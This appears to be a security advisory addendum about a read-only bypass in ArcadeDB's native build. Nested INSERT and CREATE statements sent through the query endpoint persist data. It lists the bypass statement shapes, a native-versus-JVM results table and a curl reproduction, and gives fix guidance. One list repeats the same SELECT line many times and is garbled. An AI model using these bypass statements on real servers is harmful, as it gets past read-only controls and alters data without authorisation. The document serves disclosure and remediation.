arcadedb-native protection bypass
Description
Addendum: scope of the native-image read-only bypass, measured with a differential (native 26.10.2 vs JVM 26.10.2, same statements, same HTTP door)
The advisory covers SELECT (INSERT ...) FROM T and SELECT ... LET $y = (INSERT ...). A systematic run of 210 statement shapes through POST /api/v1/query/{db} (SQL, openCypher via both opencypher and cypher, sqlscript, the GET form, three serializers), each on a database reset to the same state first, shows the hole is the whole nesting surface and not two shapes. The JVM refuses every one with QueryNotIdempotentException (400).
- Accepted by the read-only door on native and refused on JVM: 46 of the 177 shapes in
ro2, 18 of 33 inro3. Durable state changed after the call (row count, sum, type list and index count read back throughPOST /command): 38 inro2, 3 inro3. Every insert-class form persisted: INSERT or CREATE VERTEX inside a SELECT projection, a LET right-hand side (also the second LET of a pair, a nestedSELECT FROM (SELECT FROM (INSERT ...))), a FROM subquery,expand((INSERT ...)), a WHERE or ORDER BY subquery, a function argument (coalesce((INSERT ...), 1)), a MATCHwhere:and RETURN subquery, a TRAVERSE start and WHILE, a sqlscriptLET $x = (INSERT ...), the GET formGET /api/v1/query/{db}/sql/{statement}, and therecord,graphandstudioserializers. - Top-level
PROFILE INSERT INTO T SET a = 106andPROFILE CREATE VERTEX T SET a = 108run and persist on native (JVM: 400). This is the #9313 shape (PROFILE classified as READ whatever it wraps), which the advisory does not mention: the PROFILE and EXPLAIN wrappers hold the inner statement in a field the reflective walk cannot read.EXPLAIN INSERTdoes not execute on either server. - DML and DDL forms (
UPDATE,DELETE,TRUNCATE,CREATE/DROP TYPE,ALTER,CREATE INDEX,CREATE EDGE,REBUILD INDEX,CHECK DATABASE,ALIGN DATABASE,MOVE VERTEX,BEGIN) inside the same positions are accepted by the door as well; in 10 + 34 cases they then fail with500 UnsupportedOperationException: Implement UpdateStatement.refersToParent()(and the matching name for each statement class) instead of the 400, and no state change was observed. InFROM (UPDATE|DELETE|...)andPROFILE UPDATE|DELETE|DROP TYPEwith matching rows the call returned 200 and the state read back unchanged. We did not establish why only insert-class forms persisted, so do not rely on the other forms being harmless: the classification is wrong for all of them. - The same counts (46 accepted, 38 durable in
ro2; 18 accepted, 3 durable inro3) appear onarcadedata/arcadedb:26.11.1-SNAPSHOT-native-amd64(main, built 2026-10-21 from 7050ef7), so the hole is still open on main. - A side effect that makes it more visible:
SELECT FROM T WHERE $parent.$current.a IN (SELECT a FROM (INSERT INTO T SET a = 34))inserts one row per outer row; repeated nested inserts in the earlier cascading run grew T from 2 rows to more than 48,000 (RIDs up to #1:48639).
Exposure is every gate that consumes the classification (read-only HTTP query door, the GET query route, MCP read-only mode, HA leader routing, requireStreamableStatement), as in the advisory text. Fix guidance from the advisory still applies (generated allDeclaredFields metadata or a reflection-free walk, plus a native smoke test that POSTs one nested write to /api/v1/query); the test list should include PROFILE INSERT, a FROM subquery and a WHERE subquery, not only the two LET/projection shapes.
Statements whose effect persisted on native (ro2: 38 of 46 accepted; JVM refused every one with 400)
SELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM TSELECT count(*) AS n, sum(a) AS s FROM T
ro3: shapes where the state after the call differs between native and JVM (4: the three accepted with 200 that persisted, plus one nested CREATE EDGE that answered 500 TransactionException on native and still left its edge in place)
| statement sent to POST /api/v1/query | native status | JVM status | state after on native | state after on JVM |
|---|---|---|---|---|
PROFILE CREATE VERTEX T SET a = 108 | 200 | 400 QueryNotIdempotentException | 3 rows/sum 111, types 4, idx 0, edges 1 | 2 rows/sum 3, types 4, idx 0, edges 1 |
SELECT FROM (CREATE VERTEX T SET a = 110) | 200 | 400 QueryNotIdempotentException | 3 rows/sum 113, types 4, idx 0, edges 1 | 2 rows/sum 3, types 4, idx 0, edges 1 |
SELECT FROM (CREATE EDGE E FROM (SELECT FROM T WHERE a = 1) TO (SELECT FROM T WHERE a = 2)) | 500 TransactionException | 400 QueryNotIdempotentException | 2 rows/sum 3, types 4, idx 0, edges 2 | 2 rows/sum 3, types 4, idx 0, edges 1 |
SELECT FROM (INSERT INTO T SET a = 111 RETURN a) | 200 | 400 QueryNotIdempotentException | 3 rows/sum 114, types 4, idx 0, edges 1 | 2 rows/sum 3, types 4, idx 0, edges 1 |
Reproduce
docker run -d --name ro -p 2480:2480 -e JAVA_OPTS= -e arcadedb.server.rootPassword=playwithdata arcadedata/arcadedb:26.10.2-native-amd64
curl -s -u root:playwithdata -X POST localhost:2480/api/v1/server -d '{"command":"create database insp"}'
curl -s -u root:playwithdata -X POST localhost:2480/api/v1/command/insp -d '{"language":"sql","command":"CREATE DOCUMENT TYPE T"}'
curl -s -u root:playwithdata -X POST localhost:2480/api/v1/query/insp -d '{"language":"sql","command":"PROFILE INSERT INTO T SET a = 106"}' # native 200, JVM 400 QueryNotIdempotentException
curl -s -u root:playwithdata -X POST localhost:2480/api/v1/query/insp -d '{"language":"sql","command":"SELECT count(*) AS c FROM T"}' # native 1Same counts on arcadedata/arcadedb:26.11.1-SNAPSHOT-native-amd64 (built 2026-10-21). Found with a native-vs-JVM differential of 51,086 statements over HTTP; everything else agreed apart from known or documented gaps.
Related advisories
This issue is tracked together with GHSA-84m7-76gh-rm42, which carries the CVE identifier for the group.